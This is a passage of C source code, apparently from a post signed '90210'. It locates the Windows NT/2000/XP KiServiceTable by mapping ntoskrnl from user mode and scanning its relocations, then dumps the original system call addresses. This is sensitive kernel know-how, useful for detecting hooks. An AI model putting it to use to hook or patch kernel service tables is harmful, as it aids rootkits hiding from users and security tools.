                    // DONT_RESOLVE_DLL_REFERENCES flag means relocs aren't fixed
                    dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase;

                    // does this reloc point to KeServiceDescriptorTable.Base?
                    if (dwPointsToRva==dwKSDT) {
                        // check for mov [mem32],imm32. we are trying to find
                        // "mov ds:_KeServiceDescriptorTable.Base, offset _KiServiceTable"
                        // from the KiInitSystem.
                        if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7) {
                            // should check for a reloc presence on KiServiceTable here
                            // but forget it
                            dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase;
                            return dwKiServiceTable;
                        }
                    }
                    
                } else
                    if (pfe->type!=IMAGE_REL_BASED_ABSOLUTE)
                        // should never get here
                        printf("\trelo type %d found at .%X\n",pfe->type,pbr->VirtualAddress+pfe->offset);
            }
            *(PDWORD)&pbr+=pbr->SizeOfBlock;
        }
    }    
    
    if (!dwFixups) 
        // should never happen - nt, 2k, xp kernels have relocation data
        printf("No fixups!\n");
    return 0;
}

void main(int argc,char *argv[])
{    
    HMODULE    hKernel;
    DWORD    dwKSDT;                // rva of KeServiceDescriptorTable
    DWORD    dwKiServiceTable;    // rva of KiServiceTable
    PMODULES    pModules=(PMODULES)&pModules;
    DWORD    dwNeededSize,rc;
    DWORD    dwKernelBase,dwServices=0;
    PCHAR    pKernelName;
    PDWORD    pService;
    PIMAGE_FILE_HEADER    pfh;
    PIMAGE_OPTIONAL_HEADER    poh;
    PIMAGE_SECTION_HEADER    psh;

    
    // get system modules - ntoskrnl is always first there
    rc=NtQuerySystemInformation(SystemModuleInformation,pModules,4,&dwNeededSize);
    if (rc==STATUS_INFO_LENGTH_MISMATCH) {
        pModules=GlobalAlloc(GPTR,dwNeededSize);
        rc=NtQuerySystemInformation(SystemModuleInformation,pModules,dwNeededSize,NULL);
    } else {
strange:
        printf("strange NtQuerySystemInformation()!\n");
        return;
    }
    if (!NT_SUCCESS(rc)) goto strange;
    
    // imagebase
    dwKernelBase=(DWORD)pModules->smi.Base;
    // filename - it may be renamed in the boot.ini
    pKernelName=pModules->smi.ModuleNameOffset+pModules->smi.ImageName;
    
    // map ntoskrnl - hopefully it has relocs
    hKernel=LoadLibraryEx(pKernelName,0,DONT_RESOLVE_DLL_REFERENCES);
    if (!hKernel) {
        printf("Failed to load! LastError=%i\n",GetLastError());
        return;        
    }

    GlobalFree(pModules);

    // our own export walker is useless here - we have GetProcAddress :)     
    if (!(dwKSDT=(DWORD)GetProcAddress(hKernel,"KeServiceDescriptorTable"))) {
        printf("Can't find KeServiceDescriptorTable\n");
        return;
    }

    // get KeServiceDescriptorTable rva
    dwKSDT-=(DWORD)hKernel;    
    // find KiServiceTable
    if (!(dwKiServiceTable=FindKiServiceTable(hKernel,dwKSDT))) {
        printf("Can't find KiServiceTable...\n");
        return;
    }

    printf("&KiServiceTable==%08X\n\nDumping 'old' ServiceTable:\n\n",
                dwKiServiceTable+dwKernelBase);    
    
    // let's dump KiServiceTable contents        
    
    // MAY FAIL!!!
    // should get right ServiceLimit here, but this is trivial in the kernel mode
    GetHeaders((PBYTE)hKernel,&pfh,&poh,&psh);
    
    for (pService=(PDWORD)((DWORD)hKernel+dwKiServiceTable);
            *pService-poh->ImageBase<poh->SizeOfImage;
            pService++,dwServices++)
        printf("%08X\n",*pService-poh->ImageBase+dwKernelBase);    

    printf("\n\nPossibly KiServiceLimit==%08X\n",dwServices);

    FreeLibrary(hKernel);

}




wbr, 90210